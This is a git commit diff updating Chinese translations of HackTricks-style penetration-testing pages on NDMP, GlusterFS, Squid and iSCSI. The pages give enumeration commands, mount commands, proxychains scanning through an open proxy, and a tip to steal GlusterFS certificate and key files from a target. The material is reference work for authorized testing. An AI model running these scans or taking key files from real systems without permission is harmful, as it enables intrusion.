Translated ['network-services-pentesting/10000-network-data-management-p

This commit is contained in:
Translator 2024-01-05 23:03:10 +00:00
parent da96c9eacd
commit d334874f89
22 changed files with 660 additions and 1723 deletions

View file

@ -1,24 +1,22 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一个 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本**?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram 群组**](https://t.me/peass) 或者 **关注** 我的 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
# **协议信息**
**NDMP**,或**网络数据管理协议**,是一种用于在网络附加存储设备[NAS](https://en.wikipedia.org/wiki/Network-attached_storage))和备份设备之间传输数据的协议。这样可以避免通过备份服务器本身传输数据,从而提高速度并减轻备份服务器的负载。
来自 [维基百科](https://en.wikipedia.org/wiki/NDMP)。
**NDMP**,或**网络数据管理协议**,是一种旨在在网络附加存储[NAS](https://en.wikipedia.org/wiki/Network-attached_storage)设备[备份](https://en.wikipedia.org/wiki/Backup)设备之间传输数据的协议。这样可以避免通过备份服务器本身传输数据,从而提高速度并减轻备份服务器的负载。
来自[Wikipedia](https://en.wikipedia.org/wiki/NDMP)。
**默认端口:** 10000
```text
@ -26,22 +24,6 @@ PORT STATE SERVICE REASON VERSION
10000/tcp open ndmp syn-ack Symantec/Veritas Backup Exec ndmp
```
# **枚举**
Enumeration is the process of gathering information about a target network or system. It involves identifying open ports, services running on those ports, and potential vulnerabilities that can be exploited. Enumeration is a crucial step in the hacking process as it provides valuable information for further exploitation.
枚举是收集有关目标网络或系统的信息的过程。它涉及识别开放的端口、运行在这些端口上的服务以及可能被利用的潜在漏洞。枚举是黑客过程中至关重要的一步,因为它为进一步的利用提供了宝贵的信息。
During the enumeration phase, various tools and techniques can be used to gather information. These include port scanning, banner grabbing, service enumeration, and OS fingerprinting. The goal is to identify the network's topology, the services running on it, and any potential vulnerabilities that can be exploited.
在枚举阶段,可以使用各种工具和技术来收集信息。这些包括端口扫描、横幅抓取、服务枚举和操作系统指纹识别。目标是识别网络的拓扑结构、运行在其中的服务以及可以利用的任何潜在漏洞。
Enumeration can be performed manually or using automated tools. Manual enumeration involves using command-line tools and scripts to gather information, while automated tools such as Nmap, Nessus, and OpenVAS can streamline the process by scanning multiple hosts and services simultaneously.
枚举可以手动执行也可以使用自动化工具。手动枚举涉及使用命令行工具和脚本来收集信息而自动化工具如Nmap、Nessus和OpenVAS可以通过同时扫描多个主机和服务来简化该过程。
It is important to note that enumeration should be performed ethically and with proper authorization. Unauthorized enumeration can be considered illegal and can lead to severe consequences.
需要注意的是,枚举应该在合法授权的情况下进行。未经授权的枚举可能被视为非法行为,并可能导致严重后果。
```bash
nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are default scripts
```
@ -49,18 +31,18 @@ nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are defa
`ndmp`
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,26 +1,24 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
# 基本信息
**GlusterFS**是一个**分布式**、任意可扩展的**文件系统**,它将来自**多个服务器的存储组件聚合到一个统一的文件系统中**
**GlusterFS** 是一个**分布式**的、可以任意扩展的**文件系统**,它将**多个服务器**的存储组件聚合成一个统一的文件系统
**默认端口**24007/tcp/udp24008/tcp/udp49152/tcp以后\
对于端口49152需要打开递增1的端口以使用更多的bricks。_以前使用的是端口24009。_
**默认端口**24007/tcp/udp, 24008/tcp/udp, 49152/tcp起始端口\
对于端口49152需要打开递增1的端口来使用更多的砖块。_之前使用端口24009而不是49152。_
```
PORT STATE SERVICE
24007/tcp open rpcbind
@ -28,7 +26,7 @@ PORT STATE SERVICE
```
## 枚举
要与该文件系统进行交互,您需要安装[**GlusterFS客户端**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`)
要与此文件系统交互,您需要安装 [**GlusterFS 客户端**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/)`sudo apt-get install glusterfs-cli`
要列出和挂载可用的卷,您可以使用:
```bash
@ -37,29 +35,26 @@ sudo gluster --remote-host=10.10.11.131 volume list
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
```
如果您在尝试挂载文件系统时收到**错误**,可以检查`/var/log/glusterfs/`中的日志。
如果您在**尝试挂载文件系统时收到错误**,您可以在 `/var/log/glusterfs/` 中检查日志。
可以通过窃取文件(如果您可以访问系统)来修复**提到证书的错误**
**提到证书的错误**可以通过窃取文件来修复(如果您有系统访问权限)
* /etc/ssl/glusterfs.ca
* /etc/ssl/glusterfs.key
* /etc/ssl/glusterfs.ca.pem
并将它们存储在您的机器的`/etc/ssl`或`/usr/lib/ssl`目录中(如果使用不同的目录,请在日志中查找类似于"_could not load our cert at /usr/lib/ssl/glusterfs.pem_"的行)。
并将它们存储在您机器的 `/etc/ssl``/usr/lib/ssl` 目录中(如果使用了不同的目录,请检查日志中类似于 "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" 的行)。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**
* 如果您想在 **HackTricks中看到您的公司广告****下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
</details>

View file

@ -1,26 +1,26 @@
```markdown
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直到成为英雄通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
# 基本信息
**Squid**是一个缓存和转发的HTTP网络代理。它有各种用途包括通过缓存重复请求来加速Web服务器为共享网络资源的一组人员缓存Web、DNS和其他计算机网络查找并通过过滤流量来提高安全性。尽管主要用于HTTP和FTP但Squid还包括对其他几种协议的有限支持包括Internet Gopher、SSL、TLS和HTTPS。与Privoxy不同Squid不支持SOCKS协议但可以与Privoxy一起使用以提供SOCKS支持。来自[这里](https://en.wikipedia.org/wiki/Squid\_\(software\)))。
**Squid** 是一个缓存和转发HTTP网络代理。它有多种用途包括通过缓存重复请求来加速Web服务器为一组共享网络资源的人缓存Web、DNS和其他计算机网络查找以及通过过滤流量来帮助安全。尽管主要用于HTTP和FTPSquid还支持包括Internet Gopher、SSL、TLS和HTTPS在内的几种其他协议但有限。Squid不支持SOCKS协议不像PrivoxySquid可以与之一起使用以提供SOCKS支持。来源[这里](https://en.wikipedia.org/wiki/Squid\_\(software\)))。
**默认端口:** 3128
```
```
PORT STATE SERVICE VERSION
3128/tcp open http-proxy Squid http proxy 4.11
```
@ -28,36 +28,34 @@ PORT STATE SERVICE VERSION
## Web代理
您可以尝试将发现的服务设置为浏览器代理。但是如果它配置了HTTP身份验证您将被要求输入用户名和密码。
您可以尝试在浏览器中设置此发现的服务作为代理。然而如果它配置了HTTP认证系统会提示您输入用户名和密码。
```bash
# Try to proxify curl
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
```
## Nmap代理
## Nmap 代理
您还可以尝试滥用代理来**通过代理扫描内部端口**。\
proxichains.conf文件的末尾添加以下行以配置proxychains使用squid代理:`http 10.10.10.10 3128`
您还可以尝试通过**代理配置 nmap**来扫描内部端口。\
proxichains.conf 文件的末尾添加以下行来配置 proxychains 使用 squid 代理:`http 10.10.10.10 3128`
然后使用proxychains运行nmap来**从本地扫描主机**`proxychains nmap -sT -n -p- localhost`
然后运行 nmap 与 proxychains 来**从本地扫描主机**`proxychains nmap -sT -n -p- localhost`
## SPOSE扫描器
## SPOSE 扫描器
另外可以使用Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose))
或者,可以使用 Squid Pivoting Open Port Scanner[spose.py](https://github.com/aancw/spose)
```bash
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击技巧</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,235 +1,89 @@
# 3260 - ISCSI 渗透测试
# 3260 - ISCSI渗透测试
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击</strong></summary>
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 上**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧。**
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>
## 基本信息
> 在计算机领域,**iSCSI****Internet Small Computer Systems Interface** 的缩写它是一种基于互联网协议IP的存储网络标准用于连接数据存储设备。它通过在 TCP/IP 网络上传输 SCSI 命令提供对存储设备的块级访问。iSCSI 用于在企业内部传输数据并在远距离管理存储。它可以用于在局域网LAN、广域网WAN或互联网上传输数据并实现位置无关的数据存储和检索。
> 在计算机领域,**iSCSI**是**Internet Small Computer Systems Interface**的缩写,它是一种基于互联网协议(IP)的存储网络标准用于连接数据存储设施。它通过在TCP/IP网络上传输SCSI命令来提供对存储设备的块级访问。iSCSI用于促进局域网内的数据传输并管理远距离的存储。它可以用于通过局域网(LANs)、广域网(WANs)或互联网传输数据,并可以实现位置独立的数据存储和检索。
>
> 该协议允许客户端(称为发起者)向远程服务器上的存储设备(目标)发送 SCSI 命令CDBs。它是一种存储区域网络SAN协议允许组织将存储集中到存储阵列中同时为客户端如数据库和 Web 服务器)提供本地连接的 SCSI 磁盘的错觉。它主要与光纤通道竞争但与通常需要专用布线的传统光纤通道不同iSCSI 可以在现有的网络基础设施上长距离运行。
> 该协议允许客户端(称为发起者)向远程服务器上的存储设备(目标)发送SCSI命令(CDBs)。它是一个存储区域网络(SAN)协议允许组织将存储整合到存储阵列中同时为客户端如数据库和Web服务器提供连接到本地SCSI磁盘的假象。它主要与Fibre Channel竞争但与通常需要专用布线的传统Fibre Channel不同iSCSI可以使用现有的网络基础设施在长距离上运行。
**默认端口:**3260
**默认端口:** 3260
```
PORT STATE SERVICE VERSION
3260/tcp open iscsi?
```
## 枚举
### iSCSI Discovery
### iSCSI发现
iSCSI discovery is the process of identifying iSCSI targets on a network. There are two methods for discovering iSCSI targets:
iSCSI发现是识别网络上的iSCSI目标的过程。有两种方法可以发现iSCSI目标
1. **SendTargets**: This method involves sending an iSCSI command to a specific IP address and port number. The target responds with a list of available targets.
1. **SendTargets**这种方法涉及向特定的IP地址和端口号发送一个iSCSI命令。目标会回复一个可用目标的列表。
2. **iSNS**: Internet Storage Name Service (iSNS) is a protocol that allows iSCSI initiators to discover and manage iSCSI targets. It uses a central iSNS server to maintain a database of available targets.
2. **iSNS**Internet Storage Name ServiceiSNS是一种允许iSCSI初始化程序发现和管理iSCSI目标的协议。它使用一个中央iSNS服务器来维护一个可用目标的数据库。
### iSCSI Target Discovery
### iSCSI目标发现
Once the iSCSI targets have been discovered, the next step is to determine the available LUNs (Logical Unit Numbers) on each target. This can be done using the following methods:
一旦发现了iSCSI目标下一步是确定每个目标上可用的逻辑单元号LUNs。可以使用以下方法来完成
1. **iSCSI SendTargets**: This method involves sending an iSCSI command to the target IP address and port number. The target responds with a list of available LUNs.
1. **iSCSI SendTargets**这种方法涉及向目标IP地址和端口号发送一个iSCSI命令。目标会回复一个可用LUNs的列表。
2. **iSCSI Report LUNs**: This method involves sending an iSCSI command to the target IP address and port number. The target responds with a list of available LUNs along with their attributes.
2. **iSCSI Report LUNs**这种方法涉及向目标IP地址和端口号发送一个iSCSI命令。目标会回复一个可用LUNs及其属性的列表。
### iSCSI Authentication
### iSCSI身份验证
iSCSI authentication is used to ensure that only authorized initiators can access the iSCSI targets. There are several methods of iSCSI authentication:
iSCSI身份验证用于确保只有授权的初始化程序可以访问iSCSI目标。有几种iSCSI身份验证方法
1. **CHAP (Challenge-Handshake Authentication Protocol)**: This method involves a three-way handshake process between the initiator and the target. The initiator sends a CHAP request to the target, which responds with a CHAP challenge. The initiator then sends a CHAP response, and if it matches the target's challenge, authentication is successful.
1. **CHAPChallenge-Handshake Authentication Protocol**这种方法涉及初始化程序和目标之间的三次握手过程。初始化程序向目标发送一个CHAP请求目标回复一个CHAP挑战。然后初始化程序发送一个CHAP响应如果它与目标的挑战匹配认证成功。
2. **Mutual CHAP**: This method is similar to CHAP, but both the initiator and the target authenticate each other using CHAP.
2. **Mutual CHAP**这种方法与CHAP类似但是初始化程序和目标都使用CHAP进行相互认证。
3. **IKE (Internet Key Exchange)**: This method uses a pre-shared key or digital certificates to authenticate the initiator and the target.
3. **IKEInternet Key Exchange**:这种方法使用预共享密钥或数字证书来对初始化程序和目标进行身份验证。
### iSCSI Security
### iSCSI安全
To ensure the security of iSCSI communications, it is important to implement the following measures:
为了确保iSCSI通信的安全性重要的是要实施以下措施
1. **IPsec (Internet Protocol Security)**: IPsec can be used to encrypt and authenticate iSCSI traffic between the initiator and the target.
1. **IPsecInternet Protocol Security**IPsec可以用于加密和认证初始化程序和目标之间的iSCSI流量。
2. **CHAP or Mutual CHAP**: Enabling CHAP or Mutual CHAP authentication can help prevent unauthorized access to iSCSI targets.
2. **CHAP或Mutual CHAP**启用CHAP或Mutual CHAP身份验证可以帮助防止未经授权访问iSCSI目标。
3. **Access Control Lists (ACLs)**: Implementing ACLs can restrict access to iSCSI targets based on IP addresses or initiator IQNs (iSCSI Qualified Names).
3. **访问控制列表ACLs**实施ACLs可以基于IP地址或初始化程序IQNsiSCSI Qualified Names限制对iSCSI目标的访问。
4. **Firewalls**: Configuring firewalls to allow only authorized iSCSI traffic can help protect against unauthorized access.
4. **防火墙**配置防火墙只允许授权的iSCSI流量可以帮助防止未经授权的访问。
5. **Secure Network Segmentation**: Isolating iSCSI traffic on a separate network segment can help prevent unauthorized access and reduce the attack surface.
5. **安全网络分割**将iSCSI流量隔离在一个单独的网络段上可以帮助防止未经授权的访问并减少攻击面。
### iSCSI Vulnerabilities
### iSCSI漏洞
There are several vulnerabilities that can be exploited in iSCSI implementations. Some common vulnerabilities include:
iSCSI实现中存在一些可以被利用的漏洞。一些常见的漏洞包括
1. **Weak Authentication**: If weak authentication methods are used, attackers may be able to bypass authentication and gain unauthorized access to iSCSI targets.
1. **弱身份验证**如果使用弱身份验证方法攻击者可能能够绕过身份验证并未经授权地访问iSCSI目标。
2. **Default Credentials**: If default credentials are not changed, attackers can easily guess or find them and gain unauthorized access.
